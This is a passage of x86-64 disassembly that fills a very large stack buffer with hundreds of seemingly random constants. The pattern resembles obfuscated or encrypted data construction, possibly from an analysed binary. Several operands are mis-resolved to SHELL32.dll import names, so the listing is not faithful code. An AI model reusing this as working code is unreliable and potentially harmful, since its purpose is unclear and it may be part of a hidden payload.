mov qword [rsp + 0xf0d0], rax
movabs rax, 0x7add7609dcb479
mov qword [rsp + 0xf0d8], rax
movabs rax, 0x7d3167a5b6e6f8
mov qword [rsp + 0xf0e0], rax
movabs rax, 0x77601d2d230a18
mov qword [rsp + 0xf0e8], rax
mov byte [rsp + 0x108], 0x8b
movabs rax, 0x70577f7d2fa99a
mov qword [rsp + 0xf0f0], rax
movabs rax, 0x7232d70de6f534
mov qword [rsp + 0xf0f8], rax
mov byte [rsp + 0x109], 0x39
mov dword [rsp + 0x7b30], 0x46ce
movabs rax, 0x7568a56c4c0d3a
mov qword [rsp + 0xf100], rax
mov eax, 0x6be
mov word [rsp + 0x1558], ax
mov dword [rsp + 0x7b34], 0x5acc
movabs rax, 0x7293b8f87eec63
mov qword [rsp + 0xf108], rax
mov dword [rsp + 0x7b38], 0x2d3
mov eax, 0x41a
mov word [rsp + 0x155c], ax
mov eax, 0x3b8
mov word [rsp + 0x1560], ax
movabs rax, 0x7dacdce8951bea
mov qword [rsp + 0xf110], rax
mov byte [rsp + 0x10a], 0x7d
mov dword [rsp + 0x7b3c], 0xf8cb
mov eax, 0x2c9
mov word [rsp + 0x1564], ax
movabs rax, 0x74679ee80883f6
mov qword [rsp + 0xf118], rax
movabs rax, 0x752908cd444f01
mov qword [rsp + 0xf120], rax
mov eax, 0x465
mov word [rsp + 0x1568], ax
mov dword [rsp + 0x7b40], 0xf1b3
movabs rax, 0x7bba2e34027de5
mov qword [rsp + 0xf128], rax
mov eax, 0x112
mov word [rsp + 0x156c], ax
mov eax, 0x772
mov word [rsp + 0x1570], ax
movabs rax, 0x77144ac3eec4b7
mov qword [rsp + 0xf130], rax
movabs rax, 0x7eb049dee7acba
mov qword [rsp + 0xf138], rax
mov dword [rsp + 0x7b44], 0x72a
mov eax, ILGetNext
mov word [rsp + 0x1574], ax
mov dword [rsp + 0x7b48], 0x47d
mov eax, 0x793
mov word [rsp + 0x1578], ax
movabs rax, 0x7046a9ebdcc0ad
mov qword [rsp + 0xf140], rax
mov byte [rsp + 0x10b], 0x70
movabs rax, 0x71955aa7ff4703
mov qword [rsp + 0xf148], rax
mov byte [rsp + 0x10c], 0x54
mov dword [rsp + 0x7b4c], 0x426a
mov dword [rsp + 0x7b50], 0x820c
movabs rax, 0x7ac7393b51f558
mov qword [rsp + 0xf150], rax
movabs rax, 0x7ee8968e200d4c
mov qword [rsp + 0xf158], rax
movabs rax, 0x70532ab165a700
mov qword [rsp + 0xf160], rax
mov byte [rsp + 0x10d], 0xd1
mov dword [rsp + 0x7b54], 0x203b
mov byte [rsp + 0x10e], 0x7c
mov eax, 0x1f9
mov word [rsp + 0x157c], ax
movabs rax, 0x7b745f3d7660c5
mov qword [rsp + 0xf168], rax
mov dword [rsp + 0x7b58], 0xbddf
mov dword [rsp + 0x7b5c], 0x49c5
movabs rax, 0x773e8328001dc2
mov qword [rsp + 0xf170], rax
mov eax, 0x746
mov word [rsp + 0x1580], ax
mov dword [rsp + 0x7b60], 0xecef
mov eax, 0x533
mov word [rsp + 0x1584], ax
movabs rax, 0x7be4dcd1af0196
mov qword [rsp + 0xf178], rax
mov byte [rsp + 0x10f], 0x64
movabs rax, 0x7b712d1988a8cd
mov qword [rsp + 0xf180], rax
movabs rax, 0x7684a15f5f0783
mov qword [rsp + 0xf188], rax
movabs rax, 0x74468e170d218f
mov qword [rsp + 0xf190], rax
movabs rax, 0x7e8cb5e5e51f26
mov qword [rsp + 0xf198], rax
movabs rax, 0x72a7e79deb0f60
mov qword [rsp + 0xf1a0], rax
mov byte [rsp + 0x110], 0x51
movabs rax, 0x74a07b499259ac
mov qword [rsp + 0xf1a8], rax
mov eax, 0xe44
mov word [rsp + 0x1588], ax
mov dword [rsp + 0x7b64], 0x2ffc
mov dword [rsp + 0x7b68], 0x4210
movabs rax, 0x767ec6a95b9c6f
mov qword [rsp + 0xf1b0], rax
mov byte [rsp + 0x111], 0x54
movabs rax, 0x7da261f0e25a92
mov qword [rsp + 0xf1b8], rax
movabs rax, 0x7dd89d33a547da
mov qword [rsp + 0xf1c0], rax
movabs rax, 0x7cd433733b8e83
mov qword [rsp + 0xf1c8], rax
movabs rax, 0x7e46c1e439bb71
mov qword [rsp + 0xf1d0], rax
movabs rax, 0x7abb1726d7df50
mov qword [rsp + 0xf1d8], rax
mov eax, 0x6be
mov word [rsp + 0x158c], ax
mov eax, 0x616
mov word [rsp + 0x1590], ax
movabs rax, 0x7d5486fcc2b838
mov qword [rsp + 0xf1e0], rax
mov byte [rsp + 0x112], 0x6d
movabs rax, 0x7c30c2b6687973
mov qword [rsp + 0xf1e8], rax
mov eax, 0xd3c
mov word [rsp + 0x1594], ax
movabs rax, 0x734d3d508e8b88
mov qword [rsp + 0xf1f0], rax
mov byte [rsp + 0x113], 0x31
mov dword [rsp + 0x7b6c], 0x7732
mov dword [rsp + 0x7b70], 0x5e8d
mov dword [rsp + 0x7b74], 0x5b8c
mov dword [rsp + 0x7b78], 0xa54
mov eax, 0xb66
mov word [rsp + 0x1598], ax
mov dword [rsp + 0x7b7c], 0x1038
mov byte [rsp + reloc.SHELL32.dll_ILRemoveLastID4], 0x11
movabs rax, 0x7d713ac7926251
mov qword [rsp + 0xf1f8], rax
movabs rax, 0x759850f749c491
mov qword [rsp + 0xf200], rax
movabs rax, 0x7b62b0d1b232da
mov qword [rsp + 0xf208], rax
mov eax, 0x45e
mov word [rsp + 0x159c], ax
mov eax, 0x6b5
mov word [rsp + 0x15a0], ax
movabs rax, 0x72e8dcca94df7f
mov qword [rsp + 0xf210], rax
movabs rax, 0x7d9cc45a2930d6
mov qword [rsp + 0xf218], rax
mov dword [rsp + 0x7b80], 0x5005
movabs rax, 0x77882cd3a810d8
mov qword [rsp + 0xf220], rax
mov dword [rsp + 0x7b84], 0x1ebc
movabs rax, 0x77320468d63b8d
mov qword [rsp + 0xf228], rax
mov eax, 0x806
mov word [rsp + 0x15a4], ax
movabs rax, 0x7b1b8780382688
mov qword [rsp + 0xf230], rax
mov dword [rsp + 0x7b88], 0xc84b
mov byte [rsp + 0x115], 0x27
mov dword [rsp + 0x7b8c], 0x1254
movabs rax, 0x756e04068c3acd
mov qword [rsp + 0xf238], rax
mov eax, 0x185
mov word [rsp + 0x15a8], ax
mov byte [rsp + 0x116], 0x4e
mov eax, 0x47b
mov word [rsp + 0x15ac], ax
mov byte [rsp + 0x117], 0x71
movabs rax, 0x724bfa0d7401e6
mov qword [rsp + 0xf240], rax
movabs rax, 0x78fea6f5527022
mov qword [rsp + 0xf248], rax
movabs rax, 0x77a1e23ab8b922
mov qword [rsp + 0xf250], rax
mov dword [rsp + 0x7b90], 0x1bce
mov eax, 0x146
mov word [rsp + 0x15b0], ax
mov eax, 0x4b2
mov word [rsp + 0x15b4], ax
movabs rax, 0x7e746365614d4b
mov qword [rsp + 0xf258], rax
mov byte [rsp + 0x118], 0x1c
mov eax, 0xce4
mov word [rsp + 0x15b8], ax
mov byte [rsp + 0x119], 0xa1
mov byte [rsp + 0x11a], 0x5b
mov eax, 0x62a
mov word [rsp + 0x15bc], ax
mov dword [rsp + 0x7b94], 0xde52
movabs rax, 0x743d2401bbca12
mov qword [rsp + 0xf260], rax
movabs rax, 0x73ae5d20516b30
mov qword [rsp + 0xf268], rax
mov eax, 0x40a
mov word [rsp + 0x15c0], ax
movabs rax, 0x7ad9f8561728bb
mov qword [rsp + 0xf270], rax
mov eax, 0x332
mov word [rsp + 0x15c4], ax
movabs rax, 0x7b1cb4c4297277
mov qword [rsp + 0xf278], rax
mov dword [rsp + 0x7b98], 0x17fd
mov eax, 0x65c
mov word [rsp + 0x15c8], ax
mov dword [rsp + 0x7b9c], 0xe8a
movabs rax, 0x74782217a5bd32
mov qword [rsp + 0xf280], rax
movabs rax, 0x724f949b99743c
mov qword [rsp + 0xf288], rax
mov dword [rsp + 0x7ba0], 0xa0c5
movabs rax, 0x7832724381f1d7
mov qword [rsp + 0xf290], rax
movabs rax, 0x788dc602df1c45
mov qword [rsp + 0xf298], rax
movabs rax, 0x7df0f095a13f3d
mov qword [rsp + 0xf2a0], rax
mov eax, 0x330
mov word [rsp + 0x15cc], ax
mov dword [rsp + 0x7ba4], 0x24b1
mov eax, 0x251
mov word [rsp + 0x15d0], ax
mov eax, 0x4ec
mov word [rsp + 0x15d4], ax
mov dword [rsp + 0x7ba8], 0x2b84
mov eax, 0x580
mov word [rsp + 0x15d8], ax
movabs rax, 0x7e7da943bca57f
mov qword [rsp + 0xf2a8], rax
movabs rax, 0x7c4a39a213041a
mov qword [rsp + 0xf2b0], rax
mov byte [rsp + 0x11b], 0xa2
movabs rax, 0x7b06788e86c554
mov qword [rsp + 0xf2b8], rax
mov byte [rsp + 0x11c], 0x75
movabs rax, 0x7757eb1d60a304
mov qword [rsp + 0xf2c0], rax
mov eax, 0x46b
mov word [rsp + 0x15dc], ax
movabs rax, 0x75529c4b738383
mov qword [rsp + 0xf2c8], rax
mov dword [rsp + 0x7bac], 0x415
mov byte [rsp + 0x11d], 0x58
mov dword [rsp + 0x7bb0], 0x785a
mov eax, 0xfcc
mov word [rsp + 0x15e0], ax
movabs rax, 0x77b669179a8d11
mov qword [rsp + 0xf2d0], rax
mov dword [rsp + 0x7bb4], 0x33c9
mov eax, 0x77f
mov word [rsp + 0x15e4], ax
mov dword [rsp + 0x7bb8], 0x3566
mov dword [rsp + 0x7bbc], 0x2d2c
mov byte [rsp + 0x11e], PathYetAnotherMakeUniqueName
movabs rax, 0x78e46310ecba3c
mov qword [rsp + 0xf2d8], rax
mov dword [rsp + 0x7bc0], 0xdb38
mov eax, 0x355
mov word [rsp + 0x15e8], ax
movabs rax, 0x7b9d80938a3635
mov qword [rsp + 0xf2e0], rax
mov eax, 0x33
mov word [rsp + 0x15ec], ax
movabs rax, 0x707cae3deae917
mov qword [rsp + 0xf2e8], rax
movabs rax, 0x7469cf46a363b5
mov qword [rsp + 0xf2f0], rax
mov byte [rsp + 0x11f], ILGetNext
mov eax, 0x28e
mov word [rsp + 0x15f0], ax
mov byte [rsp + 0x120], 0x83
mov eax, 0x7ac
mov word [rsp + 0x15f4], ax
mov byte [rsp + 0x121], 0x6d
mov dword [rsp + 0x7bc4], 0x1cad
mov byte [rsp + 0x122], 0x61
mov byte [rsp + 0x123], reloc.SHELL32.dll_ILGetNext
movabs rax, 0x73b013623be762
mov qword [rsp + 0xf2f8], rax
movabs rax, 0x78943ec5b536d8
mov qword [rsp + 0xf300], rax
movabs rax, 0x71480940949386
mov qword [rsp + 0xf308], rax
movabs rax, 0x70d5645e75d7b0
mov qword [rsp + 0xf310], rax
mov dword [rsp + 0x7bc8], 0xd23
movabs rax, 0x779a4a20fc0f7a
mov qword [rsp + 0xf318], rax
mov eax, 0x5b6
mov word [rsp + 0x15f8], ax
mov eax, 0x5b2
mov word [rsp + 0x15fc], ax
mov dword [rsp + 0x7bcc], 0x593c
movabs rax, 0x78ccbe3e215684
mov qword [rsp + 0xf320], rax
mov eax, 0x448
mov word [rsp + 0x1600], ax
mov eax, 0xd2b
mov word [rsp + 0x1604], ax
movabs rax, 0x79fcefb7325e78
mov qword [rsp + 0xf328], rax
movabs rax, 0x71c503b28c95cd
mov qword [rsp + 0xf330], rax
mov eax, 0x3be
mov word [rsp + 0x1608], ax
mov eax, 0x2b6
mov word [rsp + 0x160c], ax
movabs rax, 0x72e98ea25f8aa2
mov qword [rsp + 0xf338], rax
movabs rax, 0x751399e5897b7c
mov qword [rsp + 0xf340], rax
mov eax, 0x7ac
mov word [rsp + 0x1610], ax
movabs rax, 0x7676b74ec4fa1f
mov qword [rsp + 0xf348], rax
movabs rax, 0x7e15a4545e4329
mov qword [rsp + 0xf350], rax
movabs rax, 0x792fe6d15e8cf3
mov qword [rsp + 0xf358], rax
mov dword [rsp + 0x7bd0], 0x984a
mov byte [rsp + 0x124], 0xd9
movabs rax, 0x7ec51ae4959050
mov qword [rsp + 0xf360], rax
mov dword [rsp + 0x7bd4], 0x1145
mov byte [rsp + 0x125], 0x33
mov eax, 0x586
mov word [rsp + 0x1614], ax
mov byte [rsp + 0x126], 0x50
mov dword [rsp + 0x7bd8], 0x697a
movabs rax, 0x77cdd1d44434de
mov qword [rsp + 0xf368], rax
mov byte [rsp + 0x127], reloc.SHELL32.dll_SHTestTokenMembership
mov dword [rsp + 0x7bdc], 0x8c89
movabs rax, 0x7b8ffc5a161550
mov qword [rsp + 0xf370], rax
mov byte [rsp + 0x128], 0x3d
movabs rax, 0x70c2f167a08ce4
mov qword [rsp + 0xf378], rax
mov eax, 0x418
mov word [rsp + 0x1618], ax
mov eax, 0xc76
mov word [rsp + 0x161c], ax
mov dword [rsp + 0x7be0], 0xed50
movabs rax, 0x76144413332816
mov qword [rsp + 0xf380], rax
mov dword [rsp + 0x7be4], 0x43fd
mov eax, 0x47e
mov word [rsp + 0x1620], ax
mov eax, 0x53f
mov word [rsp + 0x1624], ax
mov eax, 0x42b
mov word [rsp + 0x1628], ax
mov byte [rsp + 0x129], ILSaveToStream
mov eax, 0x471
mov word [rsp + 0x162c], ax
mov dword [rsp + 0x7be8], 0x440a
mov dword [rsp + 0x7bec], 0x657f
movabs rax, 0x77dbfaae61a56c
mov qword [rsp + 0xf388], rax
mov dword [rsp + 0x7bf0], 0x1f6
mov byte [rsp + 0x12a], 8
movabs rax, 0x758397a4c39884
mov qword [rsp + 0xf390], rax
mov dword [rsp + 0x7bf4], 0x89b5
mov eax, 0x878
mov word [rsp + 0x1630], ax
mov byte [rsp + 0x12b], 0x7b
movabs rax, 0x7a0b58e9efd1cb
mov qword [rsp + 0xf398], rax
mov dword [rsp + 0x7bf8], 0x6c2c
mov dword [rsp + 0x7bfc], 0x36e5
movabs rax, 0x732bbd6183ad10
mov qword [rsp + 0xf3a0], rax
mov eax, 0xb75
mov word [rsp + 0x1634], ax
mov byte [rsp + 0x12c], 0x24
movabs rax, 0x7794e2f49d67b1
mov qword [rsp + 0xf3a8], rax
mov eax, 0xd49
mov word [rsp + 0x1638], ax
mov dword [rsp + 0x7c00], 0x7b16
movabs rax, 0x7916d69b4cb91c
mov qword [rsp + 0xf3b0], rax
movabs rax, 0x75ae071b0bf16f
mov qword [rsp + 0xf3b8], rax
mov byte [rsp + 0x12d], 1
mov dword [rsp + 0x7c04], 0x5f14
mov byte [rsp + 0x12e], 0x90
mov eax, 0xf45
mov word [rsp + 0x163c], ax
movabs rax, 0x723f54376ec15e
mov qword [rsp + 0xf3c0], rax
mov dword [rsp + 0x7c08], 0x9985
mov eax, 0x861
mov word [rsp + 0x1640], ax
movabs rax, 0x7d4778a5a513f8
mov qword [rsp + 0xf3c8], rax
mov dword [rsp + 0x7c0c], 0x7f35
mov byte [rsp + 0x12f], 0x8b
movabs rax, 0x752b1549bc9155
mov qword [rsp + 0xf3d0], rax
movabs rax, 0x76bf3e2f4122ab
mov qword [rsp + 0xf3d8], rax
mov byte [rsp + 0x130], SHTestTokenMembership
mov dword [rsp + 0x7c10], 0xf475
mov byte [rsp + 0x131], 0x67
mov byte [rsp + 0x132], 0x4e
mov dword [rsp + 0x7c14], 0x7291
mov dword [rsp + 0x7c18], 0x1cda
mov eax, 0x51d
mov word [rsp + 0x1644], ax
mov eax, 0x794
mov word [rsp + 0x1648], ax
mov eax, 0x28b
mov word [rsp + 0x164c], ax
mov byte [rsp + 0x133], 0x90
mov eax, 0x2b5
mov word [rsp + 0x1650], ax
movabs rax, 0x72e19be4e344b9
mov qword [rsp + 0xf3e0], rax
mov eax, 0x4b4
mov word [rsp + 0x1654], ax
movabs rax, 0x73477aab629412
mov qword [rsp + 0xf3e8], rax
movabs rax, 0x7023f2ec1a366a
mov qword [rsp + 0xf3f0], rax
mov byte [rsp + 0x134], 0x8f
movabs rax, 0x71f850efec27da
mov qword [rsp + 0xf3f8], rax
movabs rax, 0x7e6e1cfb1ced3e
mov qword [rsp + 0xf400], rax
mov byte [rsp + 0x135], SHUpdateImageW
mov dword [rsp + 0x7c1c], 0xea6e
mov eax, 0xde8
mov word [rsp + 0x1658], ax
mov dword [rsp + 0x7c20], 0x6141
mov eax, 0x4f
mov word [rsp + 0x165c], ax
movabs rax, 0x78a5b593d7b5ec
mov qword [rsp + 0xf408], rax
mov dword [rsp + 0x7c24], 0x55c9
mov byte [rsp + 0x136], 0xd2
mov byte [rsp + 0x137], 0x34
mov eax, 0x134
mov word [rsp + 0x1660], ax
mov byte [rsp + 0x138], 0x33
movabs rax, 0x7815d22cffc96d
mov qword [rsp + 0xf410], rax
movabs rax, 0x71498e03f9aa71
mov qword [rsp + 0xf418], rax
movabs rax, 0x746d4e34c764f3
mov qword [rsp + 0xf420], rax
mov dword [rsp + 0x7c28], 0x4b84
movabs rax, 0x74b752c606119c
mov qword [rsp + 0xf428], rax
mov dword [rsp + 0x7c2c], 0xb1d
mov eax, 0x904
mov word [rsp + 0x1664], ax
movabs rax, 0x72122e062fbde7
mov qword [rsp + 0xf430], rax
movabs rax, 0x74ed8bca86451e
mov qword [rsp + 0xf438], rax
movabs rax, 0x758284d846e037
mov qword [rsp + 0xf440], rax
mov byte [rsp + 0x139], 0x8c
mov eax, 0xb9f
mov word [rsp + 0x1668], ax
mov eax, 0x29
mov word [rsp + 0x166c], ax
mov byte [rsp + 0x13a], 8
mov eax, 0x370
mov word [rsp + 0x1670], ax
mov eax, 0x24c
mov word [rsp + 0x1674], ax
mov dword [rsp + 0x7c30], 0x7478
movabs rax, 0x74a94793b3521c
mov qword [rsp + 0xf448], rax
mov dword [rsp + 0x7c34], 0xa98f
mov dword [rsp + 0x7c38], 0x4ddd
mov dword [rsp + 0x7c3c], 0x26e8
movabs rax, 0x7aacb3bf7606f1
mov qword [rsp + 0xf450], rax
movabs rax, 0x74af66bee3a0f1
mov qword [rsp + 0xf458], rax
mov dword [rsp + 0x7c40], 0x1848
mov eax, 0x492
mov word [rsp + 0x1678], ax
mov eax, 0x480
mov word [rsp + 0x167c], ax
movabs rax, 0x75d27da62e3fe2
mov qword [rsp + 0xf460], rax
mov eax, 0xaba
mov word [rsp + 0x1680], ax
movabs rax, 0x7d506ee086fa2c
mov qword [rsp + 0xf468], rax
mov dword [rsp + 0x7c44], 0xf8a7
mov byte [rsp + 0x13b], 0x56
movabs rax, 0x704d496a424b1d
mov qword [rsp + 0xf470], rax
mov dword [rsp + 0x7c48], 0x64f2
movabs rax, 0x7573b48aa91437
mov qword [rsp + 0xf478], rax
movabs rax, 0x750da204874475
mov qword [rsp + 0xf480], rax
mov byte [rsp + 0x13c], 0xa3
mov eax, 0x4e7
mov word [rsp + 0x1684], ax
mov byte [rsp + 0x13d], 0xa3
mov dword [rsp + 0x7c4c], 0x8953
mov eax, 0x536
mov word [rsp + 0x1688], ax
movabs rax, 0x76fccfd65aaf9e
mov qword [rsp + 0xf488], rax
mov byte [rsp + 0x13e], 0x3f
mov byte [rsp + 0x13f], 0x7e
mov eax, 0x405
mov word [rsp + 0x168c], ax
movabs rax, 0x734673b981dbad
mov qword [rsp + 0xf490], rax
mov eax, 0x178
mov word [rsp + 0x1690], ax
mov eax, 0xe91
mov word [rsp + 0x1694], ax
mov eax, 0x865
mov word [rsp + 0x1698], ax
mov byte [rsp + ILSaveToStream0], 0x14
movabs rax, 0x7e4bcef3025f9e
mov qword [rsp + 0xf498], rax
movabs rax, 0x796793db685287
mov qword [rsp + 0xf4a0], rax
mov eax, 0xf98
mov word [rsp + 0x169c], ax
mov byte [rsp + 0x141], 0x41
movabs rax, 0x700769c12621b3
mov qword [rsp + 0xf4a8], rax
mov byte [rsp + 0x142], 0xea
mov eax, 0x556
mov word [rsp + 0x16a0], ax
mov dword [rsp + 0x7c50], 0x2c1
mov eax, 0x5ac
mov word [rsp + 0x16a4], ax
movabs rax, 0x7b194c302da0cb
mov qword [rsp + 0xf4b0], rax
mov byte [rsp + 0x143], 0x24
movabs rax, 0x70a7bc099b717a
mov qword [rsp + 0xf4b8], rax
mov eax, 0x1d2
mov word [rsp + 0x16a8], ax
mov dword [rsp + 0x7c54], 0x533c
mov byte [rsp + 0x144], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x145], 0xfd
mov dword [rsp + 0x7c58], 0xcc3d
movabs rax, 0x79e4272c68477e
mov qword [rsp + 0xf4c0], rax
mov eax, 0x37d
mov word [rsp + 0x16ac], ax
movabs rax, 0x70608262691dde
mov qword [rsp + 0xf4c8], rax
mov eax, 0x143
mov word [rsp + 0x16b0], ax
movabs rax, 0x733e1228d9557a
mov qword [rsp + 0xf4d0], rax
movabs rax, 0x7d16fd2aed66a8
mov qword [rsp + 0xf4d8], rax
movabs rax, 0x7ccba406e6ba0a
mov qword [rsp + 0xf4e0], rax
movabs rax, 0x7df0785f66ba7c
mov qword [rsp + 0xf4e8], rax
mov dword [rsp + 0x7c5c], 0x7644
mov eax, 0x893
mov word [rsp + 0x16b4], ax
movabs rax, 0x77b886d95f607f
mov qword [rsp + 0xf4f0], rax
movabs rax, 0x738bb6c11281d8
mov qword [rsp + 0xf4f8], rax
movabs rax, 0x79b9db2b3169b2
mov qword [rsp + 0xf500], rax
mov dword [rsp + 0x7c60], 0x5fa5
mov byte [rsp + 0x146], 0xcb
movabs rax, 0x7bb736d6ccd63b
mov qword [rsp + 0xf508], rax
mov dword [rsp + 0x7c64], 0x4188
mov byte [rsp + 0x147], 0x89
movabs rax, 0x7190f987497622
mov qword [rsp + 0xf510], rax
mov dword [rsp + 0x7c68], 0xd862
mov byte [rsp + 0x148], 0x50
mov eax, 0x57c
mov word [rsp + 0x16b8], ax
mov byte [rsp + 0x149], 0x33
mov dword [rsp + 0x7c6c], 0x2feb
movabs rax, 0x73e9f0b4bd17d0
mov qword [rsp + 0xf518], rax
mov byte [rsp + 0x14a], ILGetNext
mov dword [rsp + 0x7c70], 0x3e4e
mov eax, 0x430
mov word [rsp + 0x16bc], ax
mov dword [rsp + 0x7c74], 0xfec4
movabs rax, 0x723feaf3835744
mov qword [rsp + 0xf520], rax
mov byte [rsp + 0x14b], 0x6f
mov eax, 0x199
mov word [rsp + 0x16c0], ax
movabs rax, 0x7e9028a83afc52
mov qword [rsp + 0xf528], rax
mov eax, 0x369
mov word [rsp + 0x16c4], ax
mov eax, 0x54b
mov word [rsp + 0x16c8], ax
mov dword [rsp + 0x7c78], 0x63ec
movabs rax, 0x73c3e52fc70ee0
mov qword [rsp + 0xf530], rax
movabs rax, 0x72c8be6dce129c
mov qword [rsp + 0xf538], rax
mov byte [rsp + 0x14c], 0x35
mov eax, 0x290
mov word [rsp + 0x16cc], ax
movabs rax, 0x7dc3af616982f2
mov qword [rsp + 0xf540], rax
mov eax, 0x3e
mov word [rsp + 0x16d0], ax
mov eax, 0x8b2
mov word [rsp + 0x16d4], ax
mov eax, 0x55b
mov word [rsp + 0x16d8], ax
mov byte [rsp + 0x14d], 0x13
mov byte [rsp + 0x14e], 0x43
mov dword [rsp + 0x7c7c], 0xd51
mov eax, 0x6ab
mov word [rsp + 0x16dc], ax
mov eax, 0x382
mov word [rsp + 0x16e0], ax
movabs rax, 0x7c0882c390a9d5
mov qword [rsp + 0xf548], rax
mov eax, 0xde1
mov word [rsp + 0x16e4], ax
mov dword [rsp + 0x7c80], 0xde4
mov eax, 0x97c
mov word [rsp + 0x16e8], ax
movabs rax, 0x71e28295db13fd
mov qword [rsp + 0xf550], rax
mov dword [rsp + 0x7c84], 0x9513
mov dword [rsp + 0x7c88], 0x2eb
mov byte [rsp + 0x14f], reloc.SHELL32.dll_SHSetInstanceExplorer
movabs rax, 0x7d0146531c7619
mov qword [rsp + 0xf558], rax
mov dword [rsp + 0x7c8c], 0x65b9
mov dword [rsp + 0x7c90], 0x851a
mov byte [rsp + 0x150], 0x78
movabs rax, 0x78354bb98e5c07
mov qword [rsp + 0xf560], rax
mov byte [rsp + 0x151], 3
mov dword [rsp + 0x7c94], 0xfd2a
mov eax, 0x63a
mov word [rsp + 0x16ec], ax
movabs rax, 0x7001a8556f8ded
mov qword [rsp + 0xf568], rax
mov eax, 0xa3e
mov word [rsp + 0x16f0], ax
movabs rax, 0x737c42793eb635
mov qword [rsp + 0xf570], rax
mov byte [rsp + 0x152], reloc.SHELL32.dll_ILGetNext
movabs rax, 0x7db753c8385a73
mov qword [rsp + 0xf578], rax
mov dword [rsp + 0x7c98], 0x3782
movabs rax, 0x738a5f95b5c85c
mov qword [rsp + 0xf580], rax
movabs rax, 0x7770115da9194d
mov qword [rsp + 0xf588], rax
mov dword [rsp + 0x7c9c], 0x59ef
mov byte [rsp + 0x153], 0xf6
mov eax, 0x6c2
mov word [rsp + 0x16f4], ax
movabs rax, 0x7901b4ab6a78ae
mov qword [rsp + 0xf590], rax
mov eax, 0x5cb
mov word [rsp + 0x16f8], ax
mov byte [rsp + 0x154], 0xe0
movabs rax, 0x775f178e3cb820
mov qword [rsp + 0xf598], rax
movabs rax, 0x7e3a4a8bd77cbb
mov qword [rsp + 0xf5a0], rax
mov eax, 0x2c1
mov word [rsp + 0x16fc], ax
mov byte [rsp + 0x155], ILGetNext
mov eax, 0x68c
mov word [rsp + 0x1700], ax
movabs rax, 0x70a07dedf84a50
mov qword [rsp + 0xf5a8], rax
mov dword [rsp + 0x7ca0], 0x26a5
movabs rax, 0x7a2ef6cd5c54d6
mov qword [rsp + 0xf5b0], rax
mov dword [rsp + 0x7ca4], 0x7ddb
mov dword [rsp + 0x7ca8], 0xcdf1
mov dword [rsp + 0x7cac], 0xcc2
mov byte [rsp + 0x156], 0x53
movabs rax, 0x7efb17a40f8e94
mov qword [rsp + 0xf5b8], rax
movabs rax, 0x753a6e8ad53c43
mov qword [rsp + 0xf5c0], rax
movabs rax, 0x7d3339f5a28c4d
mov qword [rsp + 0xf5c8], rax
mov eax, 0xc77
mov word [rsp + 0x1704], ax
mov eax, 0x164
mov word [rsp + 0x1708], ax
movabs rax, 0x7c1dd8c0e0715f
mov qword [rsp + 0xf5d0], rax
movabs rax, 0x724d748207f298
mov qword [rsp + 0xf5d8], rax
mov eax, 0x4b0
mov word [rsp + 0x170c], ax
mov byte [rsp + 0x157], PathMakeUniqueName
movabs rax, 0x79679dbe498278
mov qword [rsp + 0xf5e0], rax
mov byte [rsp + 0x158], 0xe9
movabs rax, 0x7159388a783102
mov qword [rsp + 0xf5e8], rax
mov dword [rsp + 0x7cb0], 0x7cc2
movabs rax, 0x7d6ee1c369ef64
mov qword [rsp + 0xf5f0], rax
mov eax, 0xdc
mov word [rsp + 0x1710], ax
movabs rax, 0x74e01f7fb88706
mov qword [rsp + 0xf5f8], rax
mov dword [rsp + 0x7cb4], 0xeb68
movabs rax, 0x77a47b88bc39ed
mov qword [rsp + 0xf600], rax
mov eax, 0xc7b
mov word [rsp + 0x1714], ax
mov eax, 0xd09
mov word [rsp + 0x1718], ax
movabs rax, 0x739b8ec923f9b0
mov qword [rsp + 0xf608], rax
mov dword [rsp + 0x7cb8], 0xc04d
movabs rax, 0x789ed27347692c
mov qword [rsp + 0xf610], rax
mov dword [rsp + 0x7cbc], 0x9eeb
mov dword [rsp + 0x7cc0], 0x3a20
mov dword [rsp + 0x7cc4], 0x586
mov dword [rsp + 0x7cc8], 0xdf0
movabs rax, 0x72a6ea7a7f9ebf
mov qword [rsp + 0xf618], rax
mov eax, 0x712
mov word [rsp + 0x171c], ax
movabs rax, 0x7dbeac9de13fa3
mov qword [rsp + 0xf620], rax
movabs rax, 0x75ec92158f18da
mov qword [rsp + 0xf628], rax
mov dword [rsp + 0x7ccc], 0x716e
mov byte [rsp + ILSaveToStream9], 0x15
mov eax, 0x3ac
mov word [rsp + 0x1720], ax
movabs rax, 0x719f7c34685734
mov qword [rsp + 0xf630], rax
mov byte [rsp + 0x15a], 0xb5
movabs rax, 0x7b794cec70585a
mov qword [rsp + 0xf638], rax
mov eax, 0xdcd
mov word [rsp + 0x1724], ax
movabs rax, 0x7ceafe6dad249a
mov qword [rsp + 0xf640], rax
movabs rax, 0x75e2dda1f87d70
mov qword [rsp + 0xf648], rax
mov byte [rsp + 0x15b], 0xe1
mov byte [rsp + 0x15c], 0xd6
mov dword [rsp + 0x7cd0], 0x3ebe
mov eax, 0xc87
mov word [rsp + 0x1728], ax
mov byte [rsp + 0x15d], reloc.SHELL32.dll_ILSaveToStream
mov byte [rsp + 0x15e], 0x5b
mov dword [rsp + 0x7cd4], 0x52d3
mov byte [rsp + 0x15f], SHSetInstanceExplorer
mov eax, 0x62a
mov word [rsp + 0x172c], ax
movabs rax, 0x7e8cecd2962f08
mov qword [rsp + 0xf650], rax
mov byte [rsp + 0x160], 0x5d
mov eax, 0x48d
mov word [rsp + 0x1730], ax
movabs rax, 0x72034ab84c703d
mov qword [rsp + 0xf658], rax
mov eax, 0x58d
mov word [rsp + 0x1734], ax
mov dword [rsp + 0x7cd8], 0x4e16
movabs rax, 0x71541fa985888d
mov qword [rsp + 0xf660], rax
movabs rax, 0x72bf675582713d
mov qword [rsp + 0xf668], rax
mov dword [rsp + 0x7cdc], 0x13e1
mov byte [rsp + 0x161], 0x73
mov byte [rsp + 0x162], SHSetInstanceExplorer
mov byte [rsp + 0x163], 0x51
mov eax, 0x578
mov word [rsp + 0x1738], ax
mov dword [rsp + 0x7ce0], 0x55bb
mov byte [rsp + 0x164], 0x79
movabs rax, 0x7256fe41b19b5d
mov qword [rsp + 0xf670], rax
mov eax, 0x7cf
mov word [rsp + 0x173c], ax
mov eax, 0x1ce
mov word [rsp + 0x1740], ax
mov eax, 0x975
mov word [rsp + 0x1744], ax
mov eax, 0x796
mov word [rsp + 0x1748], ax
movabs rax, 0x78452282ca9893
mov qword [rsp + 0xf678], rax
mov dword [rsp + 0x7ce4], 0xe84a
mov dword [rsp + 0x7ce8], 0xfdf4
mov eax, 0xe2b
